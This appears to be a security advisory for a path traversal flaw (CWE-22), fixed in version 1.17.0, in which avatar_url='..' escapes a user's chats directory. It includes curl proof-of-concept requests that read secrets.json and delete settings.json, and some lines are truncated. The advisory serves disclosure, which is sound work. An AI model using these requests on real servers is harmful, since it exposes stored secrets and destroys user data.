A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
..):Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
Prerequisites:
cookie.txt)$TOKEN)Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
Delete sensitive file (settings.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
The issue was addressed in version 1.17.0
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:41:48Z",
"nvd_published_at": "2026-04-02T18:16:29Z",
"severity": "HIGH"
}